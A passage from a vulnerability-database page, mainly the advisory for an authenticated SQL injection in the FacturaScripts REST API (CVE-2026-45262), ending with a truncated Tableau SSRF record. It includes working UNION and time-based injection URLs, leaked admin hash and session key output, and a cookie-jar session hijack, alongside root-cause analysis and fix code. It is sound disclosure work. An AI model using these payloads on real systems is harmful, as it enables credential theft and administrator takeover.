Confirm the scope is enforced for normal endpoints:
$ curl -s "http://127.0.0.1:8081/api/3/users" -H "Token: low-scoped-token-clientes-only"
{"status":"error","message":"forbidden"}
Step 1 - leak the admin password hash via the SQL-injection on clientes:
$ URL='http://127.0.0.1:8081/api/3/clientes?filter%5B%280%29UNION%20SELECT%20IFNULL%28password%2C2%29%2C2%2C3%2C4%2C5%2C6%2C7%2C8%2C9%2C10%2C11%2C12%2C13%2C14%2C15%2C16%2C17%2C18%2C19%2C20%2C21%2C22%2C23%2C24%2C25%2C26%2C27%2C28%2C29%2C30%2C31%2C32%20FROM%20users%20WHERE%28nick%3D%27admin%27%29--%20%5D='
$ curl -s "$URL" -H "Token: low-scoped-token-clientes-only" | python3 -m json.tool | head -3
[
{
"cifnif": "$2y$12$sLfA/XCqnjqLmYJwK.2V7eUHrHTHcQfkTYYfs1.lxX3OHrsmmkMGO",
Step 2 - leak the admin's logkey (the value of the fsLogkey cookie that gates web sessions):
$ URL='http://127.0.0.1:8081/api/3/clientes?filter%5B%280%29UNION%20SELECT%20IFNULL%28logkey%2C2%29%2C2%2C3%2C4%2C5%2C6%2C7%2C8%2C9%2C10%2C11%2C12%2C13%2C14%2C15%2C16%2C17%2C18%2C19%2C20%2C21%2C22%2C23%2C24%2C25%2C26%2C27%2C28%2C29%2C30%2C31%2C32%20FROM%20users%20WHERE%28nick%3D%27admin%27%29--%20%5D='
$ curl -s "$URL" -H "Token: low-scoped-token-clientes-only" | python3 -m json.tool | head -3
[
{
"cifnif": "HyZJB2eEyo5eC9Eyhn96qxbQkFDqHJss1d1lED0HEHE2ujoPPGRnUstsWd3kS25CieoLkHvsN4X1YGUt1iqXh1ZFMP0jgHFmeBW",
Step 3 - hijack the admin's web session by writing the leaked logkey into a cookie jar and hitting the admin-only plugin manager:
$ cat > /tmp/fs-hijack <<EOF
# Netscape HTTP Cookie File
127.0.0.1 FALSE / FALSE 0 fsNick admin
127.0.0.1 FALSE / FALSE 0 fsLogkey HyZJB2eEyo5eC9Eyhn96qxbQkFDqHJss1d1lED0HEHE2ujoPPGRnUstsWd3kS25CieoLkHvsN4X1YGUt1iqXh1ZFMP0jgHFmeBW
127.0.0.1 FALSE / FALSE 0 fsLang en_EN
EOF
$ curl -s -b /tmp/fs-hijack "http://127.0.0.1:8081/AdminPlugins" -o /tmp/admin.html -w "%{http_code}\n"
200
$ grep -oE '<title>[^<]*</title>' /tmp/admin.html
<title>Plugins</title>
Time-based blind injection works just as well for environments without a UNION-friendly column count - the same parenthesis bypass admits arbitrary expressions:
$ curl -s "http://127.0.0.1:8081/api/3/clientes?filter%5B%28SELECT%28SLEEP%282%29%29%29%5D=zz" -H "Token: low-scoped-token-clientes-only"
[]
$ # observe two-second wall-clock delay; mysqld general log shows
$ # SELECT COUNT(*) as _count FROM `clientes` WHERE (SELECT(SLEEP(2))) = 'zz' LIMIT 1 OFFSET 0
The attachedfiles route (Core/Controller/ApiAttachedFiles.php) is identically affected because it carries its own copy of getWhereValues:
$ URL='http://127.0.0.1:8081/api/3/attachedfiles?filter%5B%280%29UNION%20SELECT%20%221970-01-01%22%2CIFNULL%28password%2C2%29%2C3%2C4%2C5%2C6%2C7%20FROM%20users%20WHERE%28nick%3D%27admin%27%29--%20%5D='
$ curl -s "$URL" -H "Token: low-scoped-token-clientes-only" | python3 -m json.tool | head -3
[
{
"date": "01-01-1970",
"filename": "$2y$12$sLfA/XCqnjqLmYJwK.2V7eUHrHTHcQfkTYYfs1.lxX3OHrsmmkMGO",
Impact
- Cross-resource confidentiality breach. A token granted GET on a single low-value resource (e.g.
clientesfor an integration that imports customers) reads any column from any table in the schema, includingusers.password,users.logkey,users.two_factor_secret_key,api_keys.apikey,emails_sent.body, customer financial data, etc.getApiFieldsToHide()only protects the response serialiser of the requested model; UNION queries route the leaked data through other model serialisers and bypass the deny-list entirely. - Full admin takeover. The leaked
logkeyis the value of thefsLogkeycookie thatCore/Base/Controller::privateCoreaccepts as the session token (User::verifyLogkeyis a plain string equality,Core/Model/User.php:403-406). SettingfsNick=adminandfsLogkey=<leaked>on any HTTP client returns 200 on every admin endpoint, including/AdminPlugins(install arbitrary plugin code),/EditUser?code=admin(rotate the admin password),/EditEmpresa(data-plane writes),/Cron(server-side code execution via cron job extension). - Stealthy. Successful UNION queries do not produce
Tools::log()->errorentries (no SQL syntax error, no MariaDB warning); the framework only writes log rows on failed SQL. The attacker's queries leave no FacturaScripts log trail. Theapi_keysrow is touched by the normalupdateActivity()write the API does on every authenticated call, which looks identical to legitimate scoped-token usage. - Reachable from internet. API access is on by default once the operator either sets
FS_API_KEYor flipsDefault -> Enable APIin the admin UI. The recommended deployment guidance for vendors integrating with FacturaScripts is to issue a scoped key, exactly the privilege level required for this exploit. - The same primitive lets an attacker rewrite data. Because
()exemption is inWhere::sqlColumnitself, write paths that buildWHEREclauses from caller-controlled identifiers are equally exposed; the attacker can instead useUPDATE ... WHEREstyle payloads via stacked queries on engines that allow them, or useSELECT ... INTO OUTFILEon MySQL installations withFILEprivilege to write a webshell into the docroot. The CVSS scoring already assumes integrity impactHfor these reasons.
AV:N (network), AC:L (one HTTP GET, no oracle, no specific timing), PR:L (any non-fullaccess ApiKey with one allowed resource), UI:N, S:C (the vulnerable component is the API; the impact reaches the whole user database, web sessions, and authenticated control plane), C:H I:H A:H. Score 9.9. The S:C (scope change) is appropriate because the privilege boundary the attacker crosses is the operator's intent of "this token can only read clientes", which the API contract explicitly enforces in its 403 response on /users. The leaked credential then gives them admin reach in a different security zone (the web UI session, the plugin manager).
Recommended Fix
The bug is squarely in Core/Where.php::sqlColumn. The attacker-controlled-identifier path needs a strict allow-list, and the API ingress paths need their own field-name validator that mirrors the autocomplete hardening already in Core/Lib/ExtendedController/BaseController::autocompleteAction (commit b8aa78b).
- Replace the parenthesis presence test with a structural parser.
Where::sqlColumnshould refuse anything that is not one of: a bare identifier (matching^[a-zA-Z_][a-zA-Z0-9_]*(\.[a-zA-Z_][a-zA-Z0-9_]*)?$),LOWER(<ident>),UPPER(<ident>),CAST(<ident> AS <type>), orCOALESCE(<ident>, <literal>). The grammar already exists inDbQuery::orderBy(lines 289-307) and just needs to be reused. Anything else is escaped throughdb()->escapeColumn()(which already handles dotted identifiers correctly):
```php private static function sqlColumn(string $field): string { $field = trim($field);
// bare identifier or table.column
if (preg_match('/^[a-zA-Z_][a-zA-Z0-9_]*(?:\.[a-zA-Z_][a-zA-Z0-9_]*)?$/', $field)) {
return self::db()->escapeColumn($field);
}
// limited expression whitelist (mirrors DbQuery::orderBy)
if (preg_match('/^(LOWER|UPPER)\(([a-zA-Z_][a-zA-Z0-9_]*(?:\.[a-zA-Z_][a-zA-Z0-9_]*)?)\)$/i', $field, $m)) {
return strtoupper($m[1]) . '(' . self::db()->escapeColumn($m[2]) . ')';
}
if (preg_match('/^CAST\(([a-zA-Z_][a-zA-Z0-9_]*(?:\.[a-zA-Z_][a-zA-Z0-9_]*)?) AS ([a-zA-Z0-9_ ]+)\)$/i', $field, $m)) {
return 'CAST(' . self::db()->escapeColumn($m[1]) . ' AS ' . $m[2] . ')';
}
// legacy prefixes
if (str_starts_with($field, 'integer:')) {
return self::db()->castInteger(substr($field, 8));
}
if (str_starts_with($field, 'lower:')) {
return 'LOWER(' . self::db()->escapeColumn(substr($field, 6)) . ')';
}
if (str_starts_with($field, 'upper:')) {
return 'UPPER(' . self::db()->escapeColumn(substr($field, 6)) . ')';
}
// refuse anything else
throw new Exception('Invalid column expression: ' . $field);
} ```
The change is local; every call site in the framework already passes either a bare identifier or one of the supported expression prefixes. A grep for '(...)' style identifiers across the codebase shows zero hits in Core/.
- Validate filter keys at the API ingress. Even after (1), the API
getWhereValuesshould refuse identifiers that are not bare columns, mirroringBaseController::autocompleteAction:258-261:
```php foreach ($filter as $key => $value) { $field = $key; // strip operator suffixes (existing code) ...
if (!preg_match('/^[a-zA-Z_][a-zA-Z0-9_]*(?:\.[a-zA-Z_][a-zA-Z0-9_]*)?$/', $field)) {
Tools::log('api')->warning('api: invalid filter field name: ' . $field);
continue; // skip the bad filter
}
// ... remaining code
} ```
Apply the same patch to ApiAttachedFiles::getWhereValues:172-239. This is defence-in-depth - the actual fix is (1) - but matches the project's existing hardening pattern from commit b8aa78b.
- Rotate session tokens on detected SQL injection attempts. Once exploitation is detected (the new validator at (2) logs the attempt), the implementation should call
Cron::logto throttle the originating IP and queue a rotation ofUser::logkeyfor any user whosepasswordorlogkeycolumns were potentially leaked. Operators that have shipped this version with API enabled should rotate every user's password and assume credentials in the database have been read.
A regression test should issue GET /api/3/clientes?filter[(0)UNION SELECT 1,...]=x with a scoped token and assert the response is an empty array (because the bad filter was discarded) and that Tools::log('api')->read() contains the new "invalid filter field name" warning.
{
"affected": [
{
"package": {
"ecosystem": "Packagist",
"name": "facturascripts/facturascripts"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"last_affected": "2026.1"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-45262"
],
"database_specific": {
"cwe_ids": [
"CWE-89",
"CWE-918"
],
"github_reviewed": true,
"github_reviewed_at": "2026-07-14T17:11:06Z",
"nvd_published_at": null,
"severity": "CRITICAL"
},
"details": "## Summary\n\n\u003e **Live PoC verified 2026-04-30** against a stock FacturaScripts master at `127.0.0.1:8081`. A scoped `ApiKey` with `fullaccess=0` and an `ApiAccess` row granting `allowget=1` on the `clientes` resource only (no other rights, no UI session, no admin) issued one `GET /api/3/clientes?filter[(0)UNION%20SELECT%20...]=` request and the response body contained the raw bcrypt hash of the admin user\u0027s password (`$2y$12$sLfA/XCqnjqLmYJwK.2V7eUHrHTHcQfkTYYfs1.lxX3OHrsmmkMGO`) and the admin\u0027s `logkey` cookie value. The leaked `logkey` was injected into a fresh cookie jar and `GET /AdminPlugins` returned 200 with the admin plugin management UI. End-to-end account takeover from a read-only token with no CSRF, no second factor, no rate-limit interaction beyond the default 5-incident IP throttle.\n\n`Core/Where.php::sqlColumn()` exempts any field name that contains both `(` and `)` from identifier escaping. The two API filter builders (`APIModel::getWhereValues` and `ApiAttachedFiles::getWhereValues`) feed the raw request key (`$_GET[\u0027filter\u0027][$key]`) straight into `new DataBaseWhere($key, $value, \u0027=\u0027, ...)`. When the model\u0027s `all()` reaches `Where::multiSqlLegacy` -\u003e `Where::sql()` -\u003e `Where::sqlColumn($key)`, the parenthesis branch returns the attacker-controlled string unmodified. The string is concatenated into `WHERE \u003cattacker\u003e = \u0027\u003cvalue\u003e\u0027`, which an attacker can pivot to `WHERE (0)UNION SELECT ... FROM users WHERE(nick=\u0027admin\u0027)-- = \u0027value\u0027`, leaking arbitrary columns from any table.\n\n## Details\n\n### the API filter pipeline never validates filter keys\n\n`Core/Lib/API/APIModel.php:300-322` (`listAll`):\n\n```php\nprotected function listAll(): bool\n{\n $filter = $this-\u003erequest-\u003equery-\u003egetArray(\u0027filter\u0027);\n $limit = $this-\u003erequest-\u003equery-\u003egetInt(\u0027limit\u0027, 50);\n $offset = $this-\u003erequest-\u003equery-\u003egetInt(\u0027offset\u0027, 0);\n $operation = $this-\u003erequest-\u003equery-\u003egetArray(\u0027operation\u0027);\n $order = $this-\u003erequest-\u003equery-\u003egetArray(\u0027sort\u0027);\n\n // obtenemos los registros\n $data = [];\n $hidden = $this-\u003emodel-\u003egetApiFieldsToHide();\n $where = $this-\u003egetWhereValues($filter, $operation);\n foreach ($this-\u003emodel-\u003eall($where, $order, $offset, $limit) as $item) {\n $data[] = $this-\u003efilterHidden($item-\u003etoArray(true), $hidden);\n }\n ...\n```\n\n`Core/Lib/API/APIModel.php:231-298` (`getWhereValues`):\n\n```php\nprivate function getWhereValues($filter, $operation, $defaultOperation = \u0027AND\u0027): array\n{\n $where = [];\n foreach ($filter as $key =\u003e $value) {\n $field = $key; // (1) raw request key\n $operator = \u0027=\u0027;\n\n switch (substr($key, -3)) { // suffix routing only\n case \u0027_gt\u0027: $field = substr($key, 0, -3); $operator = \u0027\u003e\u0027; break;\n case \u0027_is\u0027: $field = substr($key, 0, -3); $operator = \u0027IS\u0027; break;\n case \u0027_lt\u0027: $field = substr($key, 0, -3); $operator = \u0027\u003c\u0027; break;\n }\n ...\n if (!isset($operation[$key])) {\n $operation[$key] = $defaultOperation;\n }\n\n $where[] = new DataBaseWhere($field, $value, $operator, $operation[$key]); // (2)\n }\n\n return $where;\n}\n```\n\nThe function only ever reads the suffix to decide an operator. The remaining identifier - up to 252 characters in MariaDB and unrestricted by the framework - is preserved verbatim and handed to `DataBaseWhere`. There is no allow-list of legal column names, no `preg_match(\u0027/^[a-zA-Z_][a-zA-Z0-9_]*$/\u0027)` like the autocomplete hardening in `BaseController::autocompleteAction` (commit `b8aa78b`), and no plug-in hook through which the operator could intervene.\n\nThe exact same code (line-for-line, plus a `files` parameter) lives in `Core/Controller/ApiAttachedFiles.php::getWhereValues` (lines 172-239), so the bug is present on both the generic `/api/3/\u003cresource\u003e` route and the dedicated `/api/3/attachedfiles` route.\n\n### `DataBaseWhere::getSQLWhere` now delegates to `Where::multiSqlLegacy`\n\n`Core/Base/DataBase/DataBaseWhere.php` is marked `@deprecated` and the active code path runs through `Core/Where.php::multiSqlLegacy` (lines 151-199), which converts each legacy `DataBaseWhere` instance to a `Where`:\n\n```php\nif ($item instanceof DataBaseWhere) {\n $dbWhere = new self($item-\u003efields, $item-\u003evalue, $item-\u003eoperator, $item-\u003eoperation, $item-\u003euseField ?? false);\n ...\n $sql .= $dbWhere-\u003esql();\n ...\n}\n```\n\n`Where::sql()` (lines 316-403) finally calls `self::sqlColumn($field)` for the identifier in every operator branch, including the `=` branch the attacker reaches.\n\n### `Where::sqlColumn` returns parenthesised inputs untouched\n\n`Core/Where.php:407-425`:\n\n```php\nprivate static function sqlColumn(string $field): string\n{\n // si lleva par\u00e9ntesis, no escapamos\n if (strpos($field, \u0027(\u0027) !== false \u0026\u0026 strpos($field, \u0027)\u0027) !== false) {\n return $field; // (3) raw concatenation\n }\n\n // si empieza por integer, hacemos el cast\n if (substr($field, 0, 8) === \u0027integer:\u0027) {\n return self::db()-\u003ecastInteger(substr($field, 8));\n }\n\n // si empieza por lower, hacemos el lower\n if (substr($field, 0, 6) === \u0027lower:\u0027) {\n return \u0027LOWER(\u0027 . self::db()-\u003eescapeColumn(substr($field, 6)) . \u0027)\u0027;\n }\n\n return self::db()-\u003eescapeColumn($field);\n}\n```\n\nThe intent of the early-return appears to be supporting expression columns like `LOWER(col)` and `UPPER(col)` in `select`, `where`, and `groupBy` builder calls, but the check is purely string presence: any input containing **both** `(` and `)` is whitelisted, with no constraint on what the string actually is. The same exemption affects every consumer that routes through `Where::sqlColumn`, including `select()`, `whereLike()`, `whereIn()`, etc. (`Core/Where.php:317-405`).\n\n### what an attacker submits\n\nReaching the sink requires the two characters `(` and `)` somewhere in the filter key. The attacker therefore passes:\n\n```\nfilter[(0)UNION SELECT IFNULL(password,2),2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32 FROM users WHERE(nick=\u0027admin\u0027)-- ]=\n```\n\nURL encoded for HTTP transport:\n\n```\nfilter%5B%280%29UNION%20SELECT%20IFNULL%28password%2C2%29%2C2%2C3%2C4%2C5%2C6%2C7%2C8%2C9%2C10%2C11%2C12%2C13%2C14%2C15%2C16%2C17%2C18%2C19%2C20%2C21%2C22%2C23%2C24%2C25%2C26%2C27%2C28%2C29%2C30%2C31%2C32%20FROM%20users%20WHERE%28nick%3D%27admin%27%29--%20%5D=\n```\n\nThe `clientes` table has 32 columns; the UNION mirrors that count so the database accepts the merged result set. The trailing `-- ` swallows the rest of the framework\u0027s appended SQL (`= \u0027\u003cvalue\u003e\u0027 LIMIT 50 OFFSET 0`). The result is one record whose first column is the admin\u0027s password hash, returned in the JSON body\u0027s `cifnif` key (the first column in the original query\u0027s `SELECT *`).\n\n### why the `getApiFieldsToHide()` defence does not apply\n\nCommit `736b811` added `getApiFieldsToHide()` to the `User` model, which redacts `password`, `logkey`, and `two_factor_secret_key` from the JSON serialiser:\n\n```php\npublic function getApiFieldsToHide(): array\n{\n return [\u0027password\u0027, \u0027logkey\u0027, \u0027two_factor_secret_key\u0027];\n}\n```\n\nThis works for `GET /api/3/users` requests by a fullaccess token: the model loads, then `filterHidden()` removes the columns. The protection is bound to the **model class** that is being serialised. The SQL-injection path returns rows in the **`clientes`** model serialiser, so the leaked column lands in `cifnif` (or any other column the attacker chooses for the first UNION position) and is never put through `Cliente::getApiFieldsToHide()` (which does not include `password`/`logkey` because the `clientes` table has no such columns). The deny-list is irrelevant.\n\n### why the `sort` (ORDER BY) hardening does not apply either\n\nCommit `1b6cdfa` added strict regex validation to `DbQuery::orderBy` (`Core/DbQuery.php:289-307`), constraining parenthesised input to `RAND() | RANDOM() | LOWER(...) | UPPER(...) | CAST(... AS ...) | COALESCE(..., literal)`. That fix correctly walls off SQL injection in the `sort` parameter. It does not touch `Where::sqlColumn`, which retains the original string-presence exemption.\n\n## PoC\n\nSetup (one-time, by admin):\n\n```bash\n# Issue an ApiKey scoped to clientes GET only.\nmysql -u fs -pfs facturascripts \u003c\u003c\u0027SQL\u0027\nINSERT INTO api_keys (apikey, creationdate, description, enabled, fullaccess, nick)\n VALUES (\u0027low-scoped-token-clientes-only\u0027, NOW(), \u0027scoped low-priv\u0027, 1, 0, \u0027lowpriv\u0027);\nINSERT INTO api_access (idapikey, resource, allowget, allowpost, allowput, allowdelete)\n SELECT id, \u0027clientes\u0027, 1, 0, 0, 0 FROM api_keys WHERE apikey=\u0027low-scoped-token-clientes-only\u0027;\nSQL\n```\n\nConfirm the scope is enforced for normal endpoints:\n\n```\n$ curl -s \"http://127.0.0.1:8081/api/3/users\" -H \"Token: low-scoped-token-clientes-only\"\n{\"status\":\"error\",\"message\":\"forbidden\"}\n```\n\nStep 1 - leak the admin password hash via the SQL-injection on `clientes`:\n\n```\n$ URL=\u0027http://127.0.0.1:8081/api/3/clientes?filter%5B%280%29UNION%20SELECT%20IFNULL%28password%2C2%29%2C2%2C3%2C4%2C5%2C6%2C7%2C8%2C9%2C10%2C11%2C12%2C13%2C14%2C15%2C16%2C17%2C18%2C19%2C20%2C21%2C22%2C23%2C24%2C25%2C26%2C27%2C28%2C29%2C30%2C31%2C32%20FROM%20users%20WHERE%28nick%3D%27admin%27%29--%20%5D=\u0027\n$ curl -s \"$URL\" -H \"Token: low-scoped-token-clientes-only\" | python3 -m json.tool | head -3\n[\n {\n \"cifnif\": \"$2y$12$sLfA/XCqnjqLmYJwK.2V7eUHrHTHcQfkTYYfs1.lxX3OHrsmmkMGO\",\n```\n\nStep 2 - leak the admin\u0027s `logkey` (the value of the `fsLogkey` cookie that gates web sessions):\n\n```\n$ URL=\u0027http://127.0.0.1:8081/api/3/clientes?filter%5B%280%29UNION%20SELECT%20IFNULL%28logkey%2C2%29%2C2%2C3%2C4%2C5%2C6%2C7%2C8%2C9%2C10%2C11%2C12%2C13%2C14%2C15%2C16%2C17%2C18%2C19%2C20%2C21%2C22%2C23%2C24%2C25%2C26%2C27%2C28%2C29%2C30%2C31%2C32%20FROM%20users%20WHERE%28nick%3D%27admin%27%29--%20%5D=\u0027\n$ curl -s \"$URL\" -H \"Token: low-scoped-token-clientes-only\" | python3 -m json.tool | head -3\n[\n {\n \"cifnif\": \"HyZJB2eEyo5eC9Eyhn96qxbQkFDqHJss1d1lED0HEHE2ujoPPGRnUstsWd3kS25CieoLkHvsN4X1YGUt1iqXh1ZFMP0jgHFmeBW\",\n```\n\nStep 3 - hijack the admin\u0027s web session by writing the leaked logkey into a cookie jar and hitting the admin-only plugin manager:\n\n```\n$ cat \u003e /tmp/fs-hijack \u003c\u003cEOF\n# Netscape HTTP Cookie File\n127.0.0.1\tFALSE\t/\tFALSE\t0\tfsNick\tadmin\n127.0.0.1\tFALSE\t/\tFALSE\t0\tfsLogkey\tHyZJB2eEyo5eC9Eyhn96qxbQkFDqHJss1d1lED0HEHE2ujoPPGRnUstsWd3kS25CieoLkHvsN4X1YGUt1iqXh1ZFMP0jgHFmeBW\n127.0.0.1\tFALSE\t/\tFALSE\t0\tfsLang\ten_EN\nEOF\n$ curl -s -b /tmp/fs-hijack \"http://127.0.0.1:8081/AdminPlugins\" -o /tmp/admin.html -w \"%{http_code}\\n\"\n200\n$ grep -oE \u0027\u003ctitle\u003e[^\u003c]*\u003c/title\u003e\u0027 /tmp/admin.html\n\u003ctitle\u003ePlugins\u003c/title\u003e\n```\n\nTime-based blind injection works just as well for environments without a UNION-friendly column count - the same parenthesis bypass admits arbitrary expressions:\n\n```\n$ curl -s \"http://127.0.0.1:8081/api/3/clientes?filter%5B%28SELECT%28SLEEP%282%29%29%29%5D=zz\" -H \"Token: low-scoped-token-clientes-only\"\n[]\n$ # observe two-second wall-clock delay; mysqld general log shows\n$ # SELECT COUNT(*) as _count FROM `clientes` WHERE (SELECT(SLEEP(2))) = \u0027zz\u0027 LIMIT 1 OFFSET 0\n```\n\nThe `attachedfiles` route (`Core/Controller/ApiAttachedFiles.php`) is identically affected because it carries its own copy of `getWhereValues`:\n\n```\n$ URL=\u0027http://127.0.0.1:8081/api/3/attachedfiles?filter%5B%280%29UNION%20SELECT%20%221970-01-01%22%2CIFNULL%28password%2C2%29%2C3%2C4%2C5%2C6%2C7%20FROM%20users%20WHERE%28nick%3D%27admin%27%29--%20%5D=\u0027\n$ curl -s \"$URL\" -H \"Token: low-scoped-token-clientes-only\" | python3 -m json.tool | head -3\n[\n {\n \"date\": \"01-01-1970\",\n \"filename\": \"$2y$12$sLfA/XCqnjqLmYJwK.2V7eUHrHTHcQfkTYYfs1.lxX3OHrsmmkMGO\",\n```\n\n## Impact\n\n* **Cross-resource confidentiality breach.** A token granted GET on a single low-value resource (e.g. `clientes` for an integration that imports customers) reads any column from any table in the schema, including `users.password`, `users.logkey`, `users.two_factor_secret_key`, `api_keys.apikey`, `emails_sent.body`, customer financial data, etc. `getApiFieldsToHide()` only protects the response serialiser of the requested model; UNION queries route the leaked data through other model serialisers and bypass the deny-list entirely.\n* **Full admin takeover.** The leaked `logkey` is the value of the `fsLogkey` cookie that `Core/Base/Controller::privateCore` accepts as the session token (`User::verifyLogkey` is a plain string equality, `Core/Model/User.php:403-406`). Setting `fsNick=admin` and `fsLogkey=\u003cleaked\u003e` on any HTTP client returns 200 on every admin endpoint, including `/AdminPlugins` (install arbitrary plugin code), `/EditUser?code=admin` (rotate the admin password), `/EditEmpresa` (data-plane writes), `/Cron` (server-side code execution via cron job extension).\n* **Stealthy.** Successful UNION queries do not produce `Tools::log()-\u003eerror` entries (no SQL syntax error, no MariaDB warning); the framework only writes log rows on failed SQL. The attacker\u0027s queries leave no FacturaScripts log trail. The `api_keys` row is touched by the normal `updateActivity()` write the API does on every authenticated call, which looks identical to legitimate scoped-token usage.\n* **Reachable from internet.** API access is on by default once the operator either sets `FS_API_KEY` or flips `Default -\u003e Enable API` in the admin UI. The recommended deployment guidance for vendors integrating with FacturaScripts is to issue a scoped key, exactly the privilege level required for this exploit.\n* **The same primitive lets an attacker rewrite data.** Because `(` `)` exemption is in `Where::sqlColumn` itself, write paths that build `WHERE` clauses from caller-controlled identifiers are equally exposed; the attacker can instead use `UPDATE ... WHERE` style payloads via stacked queries on engines that allow them, or use `SELECT ... INTO OUTFILE` on MySQL installations with `FILE` privilege to write a webshell into the docroot. The CVSS scoring already assumes integrity impact `H` for these reasons.\n\n`AV:N` (network), `AC:L` (one HTTP GET, no oracle, no specific timing), `PR:L` (any non-`fullaccess` ApiKey with one allowed resource), `UI:N`, `S:C` (the vulnerable component is the API; the impact reaches the whole user database, web sessions, and authenticated control plane), `C:H I:H A:H`. Score `9.9`. The `S:C` (scope change) is appropriate because the privilege boundary the attacker crosses is the operator\u0027s intent of \"this token can only read clientes\", which the API contract explicitly enforces in its 403 response on `/users`. The leaked credential then gives them admin reach in a different security zone (the web UI session, the plugin manager).\n\n## Recommended Fix\n\nThe bug is squarely in `Core/Where.php::sqlColumn`. The attacker-controlled-identifier path needs a strict allow-list, and the API ingress paths need their own field-name validator that mirrors the autocomplete hardening already in `Core/Lib/ExtendedController/BaseController::autocompleteAction` (commit `b8aa78b`).\n\n1. **Replace the parenthesis presence test with a structural parser.** `Where::sqlColumn` should refuse anything that is not one of: a bare identifier (matching `^[a-zA-Z_][a-zA-Z0-9_]*(\\.[a-zA-Z_][a-zA-Z0-9_]*)?$`), `LOWER(\u003cident\u003e)`, `UPPER(\u003cident\u003e)`, `CAST(\u003cident\u003e AS \u003ctype\u003e)`, or `COALESCE(\u003cident\u003e, \u003cliteral\u003e)`. The grammar already exists in `DbQuery::orderBy` (lines 289-307) and just needs to be reused. Anything else is escaped through `db()-\u003eescapeColumn()` (which already handles dotted identifiers correctly):\n\n ```php\n private static function sqlColumn(string $field): string\n {\n $field = trim($field);\n\n // bare identifier or table.column\n if (preg_match(\u0027/^[a-zA-Z_][a-zA-Z0-9_]*(?:\\.[a-zA-Z_][a-zA-Z0-9_]*)?$/\u0027, $field)) {\n return self::db()-\u003eescapeColumn($field);\n }\n\n // limited expression whitelist (mirrors DbQuery::orderBy)\n if (preg_match(\u0027/^(LOWER|UPPER)\\(([a-zA-Z_][a-zA-Z0-9_]*(?:\\.[a-zA-Z_][a-zA-Z0-9_]*)?)\\)$/i\u0027, $field, $m)) {\n return strtoupper($m[1]) . \u0027(\u0027 . self::db()-\u003eescapeColumn($m[2]) . \u0027)\u0027;\n }\n\n if (preg_match(\u0027/^CAST\\(([a-zA-Z_][a-zA-Z0-9_]*(?:\\.[a-zA-Z_][a-zA-Z0-9_]*)?) AS ([a-zA-Z0-9_ ]+)\\)$/i\u0027, $field, $m)) {\n return \u0027CAST(\u0027 . self::db()-\u003eescapeColumn($m[1]) . \u0027 AS \u0027 . $m[2] . \u0027)\u0027;\n }\n\n // legacy prefixes\n if (str_starts_with($field, \u0027integer:\u0027)) {\n return self::db()-\u003ecastInteger(substr($field, 8));\n }\n if (str_starts_with($field, \u0027lower:\u0027)) {\n return \u0027LOWER(\u0027 . self::db()-\u003eescapeColumn(substr($field, 6)) . \u0027)\u0027;\n }\n if (str_starts_with($field, \u0027upper:\u0027)) {\n return \u0027UPPER(\u0027 . self::db()-\u003eescapeColumn(substr($field, 6)) . \u0027)\u0027;\n }\n\n // refuse anything else\n throw new Exception(\u0027Invalid column expression: \u0027 . $field);\n }\n ```\n\n The change is local; every call site in the framework already passes either a bare identifier or one of the supported expression prefixes. A grep for `\u0027(...)\u0027` style identifiers across the codebase shows zero hits in `Core/`.\n\n2. **Validate filter keys at the API ingress.** Even after (1), the API `getWhereValues` should refuse identifiers that are not bare columns, mirroring `BaseController::autocompleteAction:258-261`:\n\n ```php\n foreach ($filter as $key =\u003e $value) {\n $field = $key;\n // strip operator suffixes (existing code) ...\n\n if (!preg_match(\u0027/^[a-zA-Z_][a-zA-Z0-9_]*(?:\\.[a-zA-Z_][a-zA-Z0-9_]*)?$/\u0027, $field)) {\n Tools::log(\u0027api\u0027)-\u003ewarning(\u0027api: invalid filter field name: \u0027 . $field);\n continue; // skip the bad filter\n }\n\n // ... remaining code\n }\n ```\n\n Apply the same patch to `ApiAttachedFiles::getWhereValues:172-239`. This is defence-in-depth - the actual fix is (1) - but matches the project\u0027s existing hardening pattern from commit `b8aa78b`.\n\n3. **Rotate session tokens on detected SQL injection attempts.** Once exploitation is detected (the new validator at (2) logs the attempt), the implementation should call `Cron::log` to throttle the originating IP and queue a rotation of `User::logkey` for any user whose `password` or `logkey` columns were potentially leaked. Operators that have shipped this version with API enabled should rotate every user\u0027s password and assume credentials in the database have been read.\n\nA regression test should issue `GET /api/3/clientes?filter[(0)UNION SELECT 1,...]=x` with a scoped token and assert the response is an empty array (because the bad filter was discarded) and that `Tools::log(\u0027api\u0027)-\u003eread()` contains the new \"invalid filter field name\" warning.",
"id": "GHSA-5qmh-x653-g8qj",
"modified": "2026-07-14T17:11:06Z",
"published": "2026-07-14T17:11:06Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/NeoRazorX/facturascripts/security/advisories/GHSA-5qmh-x653-g8qj"
},
{
"type": "PACKAGE",
"url": "https://github.com/NeoRazorX/facturascripts"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H",
"type": "CVSS_V3"
}
],
"summary": "FacturaScripts: Authenticated SQL injection in the FacturaScripts REST API filter parameter via parenthesis bypass in `Where::sqlColumn`"
}
GHSA-5QMX-Q2QR-MCR2
Vulnerability from github – Published: 2025-07-25 21:33 – Updated: 2025-07-25 21:33Server-Side Request Forgery (SSRF) vulnerability in Salesforce Tableau Server on Windows, Linux (EPS Server modules) allows Resource Location Spoofing. This issue affects Tableau Server: before 2025.1.3, before 2024.2.12, before 2023.3.19.
{
"affected": [],
"aliases": [
"CVE-2025-52455"
],
"database_specific": {
"cwe_ids": [
"CWE-918"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2025-07-25T19:15:41Z",
"severity": "MODERATE"
},
"details": "Server-Side Request Forgery (SSRF) vulnerability in Salesforce Tableau Server on Windows, Linux (EPS Server modules) allows Resource Location Spoofing. This issue affects Tableau Server: before 2025.1.3, before 2024.2.12, before 2023.3.19.",
"id": "GHSA-5qmx-q2qr-mcr2",
"modified": "2025-07-25T21:33:50Z",
"published": "2025-07-25T21:33:50Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-52455"
},
{
"type": "WEB",
"url": "https://help.salesforce.com/s/articleView?id=005105043\u0026type=1"
}
],
"schema_version": "1.4.0",
"severity": [
{
